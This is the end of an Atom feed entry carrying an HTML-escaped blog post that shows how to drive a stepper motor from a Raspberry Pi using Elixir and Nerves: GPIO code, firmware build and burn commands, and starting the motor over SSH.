&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;gpio&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GPIO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:output&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;acc&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;++&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;gpio&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Starting the motor. Hold on to your butts!&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;spawn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;End reached. Closing the pin connections...&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pin&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;pin&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GPIO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GPIO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;close&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Pin connections closed. Good bye.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;round&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Round Nr: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;round&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;next_idx&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;round&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;prev_idx&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;next_idx&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;else: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;next_idx&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;next_pin&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;at&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;next_idx&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;prev_pin&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;at&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;prev_idx&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;GPIO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;prev_pin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;GPIO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;next_pin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;step&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;round&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code above first opens the GPIO pins with the GPIO.open/2 function and then starts the motor by sequentially enabling and disabling the Pins. This causes the stepper motor to move one step forward each time one of the pins is enabled. You can adjust how many steps the motor will make by defining the &lt;code&gt;count&lt;/code&gt; parameter when starting the script with &lt;code&gt;MoveIt.start(count)&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setting-up-the-raspberry-pi&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setting-up-the-raspberry-pi&quot;&gt;&lt;/a&gt;Setting up the Raspberry Pi&lt;/h2&gt;
&lt;p&gt;First, insert the SD card into your computer.&lt;/p&gt;
&lt;p&gt;Now, bundle the code into a firmware and copy it to the SD Card with the commands&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware.burn&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nerves “should” be able to find your SD card and will ask you to confirm it. If it doesn’t find your SD card, you can supply the mount point with the &lt;code&gt;-d&lt;/code&gt; option like so:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# For example&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware.burn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-d&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/dev/rdisk2&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the copy process is completed, insert the SD Card into your Raspberry Pi and connect the Pi with the USB cable to your computer.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#getting-things-moving&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;getting-things-moving&quot;&gt;&lt;/a&gt;Getting Things moving&lt;/h2&gt;
&lt;p&gt;Now, the thrilling part comes. Connect your computer to the Raspberry Pi with&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;ssh&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves.local&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will start an &lt;code&gt;iex&lt;/code&gt; terminal on the Raspberry Pi. Now, start the motor with&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;MoveIt&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The motor should turn, you should be filled with awe, and in the distance you will hear the appreciative clapping of Richard Stallman for using open-source software :)&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/rotate-a-flag-with-nerves"/>
    <id>https://peterullrich.com/rotate-a-flag-with-nerves</id>
    <title>Bridge the Gap - Bring your Software to life with Elixir and Nerves</title>
    <updated>2019-07-31T11:01:35Z</updated>
  </entry>
</feed>